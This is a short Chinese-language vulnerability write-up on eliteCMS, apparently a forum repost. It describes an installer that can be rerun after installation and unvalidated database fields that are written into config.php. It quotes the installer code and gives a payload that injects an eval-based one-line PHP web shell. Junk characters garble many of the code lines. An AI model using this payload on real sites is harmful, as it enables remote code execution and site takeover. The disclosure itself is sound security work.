eliteCMS安装文件未验证 + 一句话写入安全漏洞

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eliteCMS的安装程序安装结束后未作锁定，导致黑客可以通过访问安装程序地址进行重复安装

1 @, N$ [6 [, J另外一个漏洞是安装程序可以直接写入一句话到admin/includes/config.php
我们来看代码：

1 A- Q7 G8 e. \# V...
$ n- f$ E7 P" r2 a9 a- T, B1 f+ T# jelseif ($_GET['step'] == "4") {
7 B- L2 t  j7 T$ M( F( t) @    $file = "../admin/includes/config.php";
7 `8 _, W# c4 M# M' {    $write = "<?php\n";
    $write .= "/**\n";
    $write .= "*\n";
    $write .= "*eliteCMS-The LightweightCMS Copyright 2008 elite-graphix.net.\n";
) Y* D" W! y2 v( I9 I...略...
6 \# e: y: u# w" ?9 Z: n5 f. T8 ]$ Q    $write .= "*\n";
    $write .= "*/\n";
    $write .= "\n";
    $write .= "define(\"DB_SERVER\", \"{$_SESSION['DB_SERVER']}\");\n";
    $write .= "define(\"DB_NAME\", \"{$_SESSION['DB_NAME']}\");\n";
- Z# r) F1 {5 ~) i* w& Q& v3 v    $write .= "define(\"DB_USER\", \"{$_SESSION['DB_USER']}\");\n";
) o* Q1 \7 Q& f5 ~) f( s    $write .= "define(\"DB_PASS\", \"{$_SESSION['DB_PASS']}\");\n";
1 Q% \* r+ X0 s9 d% R! J5 O    $write .= "\$connection = mysql_connect(DB_SERVER, DB_USER, DB_PASS);\n";
- w1 g! {5 \/ r" O- y    $write .= "if (!\$connection) {\n";
    $write .= "        die(\"Database connection failed\" .mysql_error());\n";
    $write .= "        \n";
/ f. W3 Q- J( g    $write .= "} \n";
, L& i, S# s3 y& x4 K5 T    $write .= "\$db_select = mysql_select_db(DB_NAME, \$connection);\n";
    $write .= "if (!\$db_select) {\n";
8 S4 {# H* t/ F6 L    $write .= "        die(\"Database select failed\" .mysql_error());\n";
. s; L8 S8 t3 d& y* _    $write .= "        \n";
% L, p# X6 R' \, l" i' }$ [    $write .= "} \n";
    $write .= "?>\n";

* I% w8 W. b2 z! L7 g# V$ V" D1 ^    $writer = fopen($file, 'w');
...

在看代码：

$_SESSION['DB_SERVER'] = $_POST['DB_SERVER'];
$_SESSION['DB_NAME'] = $_POST['DB_NAME'];
& ]4 Z# s; x% o! ?5 g$_SESSION['DB_USER'] = $_POST['DB_USER'];
5 V, |. k" |5 f& _$_SESSION['DB_PASS'] = $_POST['DB_PASS'];

取值未作任何验证
如果将数据库名POST数据：
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"?><?php eval($_POST[c]);?><?php
  P) r& s2 e5 k* }+ h7 q
将导致一句话后门写入/admin/includes/config.php
  S1 G: a' C" I% O5 Y' ?7 m